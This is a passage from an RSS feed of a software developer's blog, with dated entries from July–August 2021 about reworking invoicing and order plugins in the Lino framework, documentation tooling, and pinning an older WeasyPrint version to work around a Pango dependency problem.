&lt;p&gt;TODO: &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; is still broken. Manual tests in Noi. Make a template for
printing an SLA. Write more docs.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0803.html</guid><pubDate>Tue, 03 Aug 2021 00:00:00 +0000</pubDate></item><item><title>Monday, August 2, 2021</title><link>https://luc.lino-framework.org/blog/2021/0802.html</link><description>&lt;section id="monday-august-2-2021"&gt;
&lt;h1&gt;Monday, August 2, 2021&lt;a class="headerlink" href="#monday-august-2-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I committed about 2 weeks of work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3301"&gt;#3301&lt;/a&gt;. The main changes are in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.invoicing.html#module-lino_xl.lib.invoicing" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.invoicing&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.orders.html#module-lino_xl.lib.orders" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.orders&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (both &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#xl" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Extensions Library&lt;/span&gt;&lt;/a&gt;) and
the first user is &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; where we can now write service level agreements
(periodic invoice generators), so that we can use Lino to write our yearly
invoices.&lt;/p&gt;
&lt;p&gt;TODO: &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; is still broken. Manual tests in Noi. Make a template for
printing an SLA. Write more docs.&lt;/p&gt;
&lt;p&gt;Intermezzo: Oops, there is a little &lt;cite&gt;problem on GitLab
&amp;lt;https://gitlab.com/lino-framework/book/-/jobs/1469319484&amp;gt;`___: already
:cmd:`inv prep&lt;/cite&gt; fails with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;undefined&lt;/span&gt; &lt;span class="pre"&gt;symbol:&lt;/span&gt;
&lt;span class="pre"&gt;pango_context_set_round_glyph_positions&lt;/span&gt;&lt;/code&gt;. After doing &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;-U&lt;/span&gt;
&lt;span class="pre"&gt;weasyprint&lt;/span&gt; &lt;span class="pre"&gt;cffi&lt;/span&gt;&lt;/code&gt; on my machine, I have it also here. Other people have &lt;a class="reference external" href="https://github.com/Kozea/WeasyPrint/issues/1384"&gt;reported
and documented the issue&lt;/a&gt;:
Weasyprint 53 needs a newer version of Pango, which is not yet available on
stable debian. So as a works-for-me, I simply add “weasyprint&amp;lt;52” to Lino’s
&lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;install_requires&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0802.html</guid><pubDate>Mon, 02 Aug 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 27, 2021</title><link>https://luc.lino-framework.org/blog/2021/0727.html</link><description>&lt;section id="tuesday-july-27-2021"&gt;
&lt;h1&gt;Tuesday, July 27, 2021&lt;a class="headerlink" href="#tuesday-july-27-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.orders.InvoicesByOrder&lt;/span&gt;&lt;/code&gt;. now uses
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.InvoiceGenerator.get_invoiceable_partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.invoicing.InvoiceGenerator.get_invoiceable_partner()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. We want
this table to show all invoices having the same invoice recipient as this
current order. Until now it was used only in &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; where the
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.project_model" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.project_model&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is a subclass of
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Partner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. But in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; it’s different.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0727.html</guid><pubDate>Tue, 27 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Monday, July 26, 2021</title><link>https://luc.lino-framework.org/blog/2021/0726.html</link><description>&lt;section id="monday-july-26-2021"&gt;
&lt;h1&gt;Monday, July 26, 2021&lt;a class="headerlink" href="#monday-july-26-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I reviewed my decision of two days ago to rename
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.InvoiceGenerator.get_invoiceable_product" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceGenerator.get_invoiceable_product()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  to
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceGenerator.get_invoicing_product()&lt;/span&gt;&lt;/code&gt;  because this actually &lt;em&gt;is&lt;/em&gt;
supposed to return the product that will be invoiced.
When the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.InvoiceGenerator.get_invoiceable_product" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceGenerator.get_invoiceable_product()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method returns &lt;cite&gt;None&lt;/cite&gt;,
this generally means to not generate any invoice item.
With the nuance that it
may return &lt;cite&gt;None&lt;/cite&gt; when the product is decided later by an overridden
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.InvoiceGenerator.get_wanted_invoice_items" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceGenerator.get_wanted_invoice_items()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.InvoiceGenerator.get_wanted_invoice_items" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceGenerator.get_wanted_invoice_items()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method  has currently three
implementations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;the standard implementation defines the default behaviour, which is that every
generator produces one invoice item.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; overrides the default behaviour to add extra invoice items (one
per &lt;a class="reference external" href="https://using.lino-framework.org/plugins/orders.html#term-order-item" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;order item&lt;/span&gt;&lt;/a&gt;). You can configure orders where the calendar entries
themselves are free (work time doesn’t count) but only these order items are
being invoiced.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt; overrides it to introduce an even more customized approach. It
collects the individual invoicing events per &lt;a class="reference external" href="https://using.lino-framework.org/plugins/cal.html#term-calendar-entry-type" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;calendar entry type&lt;/span&gt;&lt;/a&gt; and
only then decides which products to actually invoice. Because the price of a
calendar entry in Tera depends on the partner’s price factors and on the
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/cal.html#term-calendar-entry-type" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;calendar entry type&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Besides having a customized approach of grouping and pricing, &lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt; also
features a way where therapists may use a simplified cash book in which they
simply type received money per &lt;a class="reference external" href="https://using.lino-framework.org/plugins/cal.html#term-calendar-entry" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;calendar entry&lt;/span&gt;&lt;/a&gt;. (It might make sense to
generalize this feature by moving it from tera to xl)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.InvoiceGenerator.get_wanted_invoice_items" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceGenerator.get_wanted_invoice_items()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method is called from two places:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.Plan.fill_plan" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plan.fill_plan()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to create an &lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#term-invoicing-suggestion" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;invoicing suggestion&lt;/span&gt;&lt;/a&gt;. The
invoice and its items are created in memory just to compute the sums and then
thrown away again.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Item.create_invoice()&lt;/span&gt;&lt;/code&gt;, i.e. to actually create the invoice for an
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#term-invoicing-suggestion" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;invoicing suggestion&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Seems that I now know how to name the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.Tariff" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Tariff&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; model: it is an
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#term-event-pass-type" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;event pass type&lt;/span&gt;&lt;/a&gt;. When a product has an &lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#term-event-pass-type" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;event pass type&lt;/span&gt;&lt;/a&gt;,
this means that buying one unit of the product gives you the right to consume a
given number of invoicing events.&lt;/p&gt;
&lt;p&gt;So I rename  &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceGenerator.get_invoiceable_tariff()&lt;/span&gt;&lt;/code&gt;  to
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;InvoiceGenerator.get_invoicing_pass_type()&lt;/span&gt;&lt;/code&gt;. If this returns &lt;cite&gt;None&lt;/cite&gt;, Lino
simply assumes that every invoicing event generates one invoice item.&lt;/p&gt;
&lt;p&gt;After rediscovering above things, I now turn back to &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt;: Something is
missing for invoicing the yearly membership fees. But what?&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0726.html</guid><pubDate>Mon, 26 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, July 24, 2021</title><link>https://luc.lino-framework.org/blog/2021/0724.html</link><description>&lt;section id="saturday-july-24-2021"&gt;
&lt;h1&gt;Saturday, July 24, 2021&lt;a class="headerlink" href="#saturday-july-24-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3301"&gt;#3301&lt;/a&gt;. While generating service reports was almost done and
is probably just a question of configuration, the new feature will be to have
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt; automatically generate yearly (or monthly) invoices for membership
fees. Something very subtle is missing there, or just not well documented.  I
will now commit a set of changes that are work in process. I kind of get
prepared for the big coup.&lt;/p&gt;
&lt;p&gt;Changes for now:&lt;/p&gt;
&lt;p&gt;Changed the label for &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.StartInvoicing" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;StartInvoicing&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and subclasses &lt;span class="guilabel"&gt;Create
invoices&lt;/span&gt; to &lt;span class="guilabel"&gt;Generate invoices&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;New plugin attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.order_model&lt;/span&gt;&lt;/code&gt; to generalize what &lt;a class="reference external" href="https://tera.lino-framework.org/index.html#tera" title="(in Lino Tera v23.3)"&gt;&lt;span&gt;Lino Tera&lt;/span&gt;&lt;/a&gt;,
&lt;a class="reference external" href="https://voga.lino-framework.org/index.html#voga" title="(in Lino Voga)"&gt;&lt;span&gt;Lino Voga&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; did until now in three &lt;a class="reference external" href="https://dev.lino-framework.org/dev/plugin_inheritance.html#term-plugin-extension" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;plugin extensions&lt;/span&gt;&lt;/a&gt;, which were suspiciously similar.  The &lt;cite&gt;invoicing&lt;/cite&gt; plugins
in voga, tera and presto are no longer used.&lt;/p&gt;
&lt;p&gt;New plugin attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.three_demo_areas&lt;/span&gt;&lt;/code&gt; to formulate the only
difference between the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/plugin_inheritance.html#term-plugin-extension" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;plugin extensions&lt;/span&gt;&lt;/a&gt;: In Voga the
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture creates only one invoicing area while other applications
have three invoicing areas.&lt;/p&gt;
&lt;p&gt;I removed two unused method definitions &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_invoiceable_amount()&lt;/span&gt;&lt;/code&gt; in tera
and voga.&lt;/p&gt;
&lt;p&gt;I optimized some translations, which had an unexpected side effect: quite some
time ago I moved the &lt;cite&gt;roger&lt;/cite&gt; variant of voga from voga to book. And only now,
after having done &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-mm" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;mm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in voga, the translations of the texts in this
variant disappeared.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;replace &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_invoiceable_product()&lt;/span&gt;&lt;/code&gt; altogether by &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_invoicing_tariff()&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;rename “flatrate” (the verbose name for &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.Tariff" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Tariff&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;) to “invoicing rule”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;implement the new InvoiceGenerator methods on orders.Order&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0724.html</guid><pubDate>Sat, 24 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Friday, July 23, 2021</title><link>https://luc.lino-framework.org/blog/2021/0723.html</link><description>&lt;section id="friday-july-23-2021"&gt;
&lt;h1&gt;Friday, July 23, 2021&lt;a class="headerlink" href="#friday-july-23-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0723.html</guid><pubDate>Fri, 23 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, July 22, 2021</title><link>https://luc.lino-framework.org/blog/2021/0722.html</link><description>&lt;section id="thursday-july-22-2021"&gt;
&lt;h1&gt;Thursday, July 22, 2021&lt;a class="headerlink" href="#thursday-july-22-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Changes in the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.invoicing.html#module-lino_xl.lib.invoicing" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.invoicing&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; model.&lt;/p&gt;
&lt;p&gt;To &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#lino_xl.lib.invoicing.Plan.today" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plan.today&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field of an &lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#term-invoicing-plan" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;invoicing plan&lt;/span&gt;&lt;/a&gt; is now read-only.
That’s because Lino needs it to make sure that the database never contains more
than one &lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#term-invoicing-plan" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;invoicing plan&lt;/span&gt;&lt;/a&gt; per user.&lt;/p&gt;
&lt;p&gt;New plugin attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Plugin.order_model&lt;/span&gt;&lt;/code&gt; is “orders.Order” for
&lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt;.  Until now we had some special logic for orders in presto. But
this special logic is actually generic (and optional): we need it in noi as
well.&lt;/p&gt;
&lt;p&gt;I converted docs about &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_voga.lib.courses.html#module-lino_voga.lib.courses" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_voga.lib.courses&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to prosa.&lt;/p&gt;
&lt;p&gt;I started to review the docs about &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.invoicing.html#module-lino_xl.lib.invoicing" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.invoicing&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Until now we
had no difference between &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/invoicing.html#term-invoice-generator" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;invoice generator&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://using.lino-framework.org/plugins/invoicing.html#term-invoiceable" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;invoiceable&lt;/span&gt;&lt;/a&gt;, but
maybe we want to separate them.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;p&gt;Extend the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.orders.html#module-lino_xl.lib.orders" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.orders&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin: an order is not only an
EventGenerator but also an InvoiceGenerator.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0722.html</guid><pubDate>Thu, 22 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, July 17, 2021</title><link>https://luc.lino-framework.org/blog/2021/0717.html</link><description>&lt;section id="saturday-july-17-2021"&gt;
&lt;h1&gt;Saturday, July 17, 2021&lt;a class="headerlink" href="#saturday-july-17-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sharif and I started to work on a script &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_cities.py&lt;/span&gt;&lt;/code&gt; below
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.countries.html#module-lino_xl.lib.countries" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.countries&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Not finished.  Idea is to replace
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;commondata&lt;/span&gt;&lt;/code&gt; by data taken from wikidata.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0717.html</guid><pubDate>Sat, 17 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Friday, July 16, 2021</title><link>https://luc.lino-framework.org/blog/2021/0716.html</link><description>&lt;section id="friday-july-16-2021"&gt;
&lt;h1&gt;Friday, July 16, 2021&lt;a class="headerlink" href="#friday-july-16-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I eliminated a pseudo-feature of
&lt;a class="reference external" href="https://atelier.lino-framework.org/api/rstgen.sphinxconf.interproject.html#rstgen.sphinxconf.interproject.configure" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.interproject.configure()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : calling it without
specifying a list of projects to include (the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;prjspec&lt;/span&gt;&lt;/code&gt; argument) was adding
all local atelier projects. I created this feature for generating my blog. But
now I removed the feature and added explicit intersphinx dependencies to my
blog’s &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; instead.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0716.html</guid><pubDate>Fri, 16 Jul 2021 00:00:00 +0000</pubDate></item><item><title>Friday, July 9, 2021</title><link>https://luc.lino-framework.org/blog/2021/0709.html</link><description>&lt;section id="friday-july-9-2021"&gt;
&lt;h1&gt;Friday, July 9, 2021&lt;a class="headerlink" href="#friday-july-9-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I committed my recent work on &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/help.html#management_command-makehelp" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makehelp&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4172"&gt;#4172&lt;/a&gt;).  I started to
understand a few things.  Time to write some documentation.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/help.html#management_command-makehelp" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makehelp&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now generates only the actor pages (and an index page), IOW a
page per actor but no more pages per model and per plugin. That’s because actor
pages are the only ones to be opened by the help button. Each actor page should
directly refer to the relevant places in the &lt;a class="reference external" href="https://dev.lino-framework.org/team/doctrees.html#term-reference-documentation" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;reference documentation&lt;/span&gt;&lt;/a&gt; and
the &lt;a class="reference external" href="https://using.lino-framework.org/topics/docs.html#term-user-guide" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;user guide&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that &lt;a class="reference external" href="https://dev.lino-framework.org/team/doctrees.html#term-reference-documentation" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;reference documentation&lt;/span&gt;&lt;/a&gt; is a new glossary term. We should say
&lt;a class="reference external" href="https://dev.lino-framework.org/team/doctrees.html#term-reference-documentation" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;reference documentation&lt;/span&gt;&lt;/a&gt; instead of &lt;a class="reference external" href="https://using.lino-framework.org/topics/docs.html#term-developer-guide" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;developer guide&lt;/span&gt;&lt;/a&gt; because this
kind of documentation is actually not only for developers, they are also for
&lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-key-user" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;key users&lt;/span&gt;&lt;/a&gt;. These “reference docs” are currently integrated
into the &lt;a class="reference external" href="https://using.lino-framework.org/topics/docs.html#term-developer-guide" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;developer guide&lt;/span&gt;&lt;/a&gt;, but this might change.&lt;/p&gt;
&lt;p&gt;I moved the logic for loading help texts at startup into a separate class
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.help.HelpTextsLoader&lt;/span&gt;&lt;/code&gt;. The HTL is instantiated temporarily by
the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.kernel.html#lino.core.kernel.Kernel.kernel_startup" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.kernel.Kernel.kernel_startup()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. The makedocs command
instantiates it another time because it also uses the first paragraph of actor
